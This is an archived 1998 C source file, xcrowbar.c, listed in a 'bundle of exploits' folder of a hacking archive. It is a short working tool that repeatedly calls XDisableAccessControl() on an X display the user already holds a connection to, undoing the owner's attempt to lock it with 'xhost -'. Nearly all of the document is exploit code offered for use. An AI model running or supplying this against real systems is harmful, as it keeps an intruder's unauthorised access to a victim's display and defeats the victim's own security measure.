home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / xcrowbar.c < prev    next >
Text File  |  1998-07-17  |  577b  |  35 lines

  1.  
  2. /*
  3. **  Like I said, a simple program that lets you do a XDisableAccessControl()
  4. ** on a display if someone decides to "xhost -" you after you have a
  5. ** pointer to their display.
  6. **
  7. **   -matt (matt@cs.su.oz.au)
  8. **
  9. **  xcrowbar.c
  10. */
  11.  
  12. #include <stdio.h>
  13. #include <X11/Xlib.h>
  14. #include <ctype.h>
  15.  
  16. main (int argc, char *argv[])
  17. {
  18.     Display *dpy;
  19.     char *dis = NULL;
  20.     int c;
  21.  
  22.     dis= argv[1]; 
  23.  
  24.     if ((dpy = XOpenDisplay(dis))==NULL){
  25.         perror("could not open window");
  26.         exit(0);
  27.     }
  28.  
  29.     while ((c=getchar())!='q')
  30.         XDisableAccessControl(dpy);
  31.  
  32.     XCloseDisplay(dpy);
  33. }
  34.  
  35.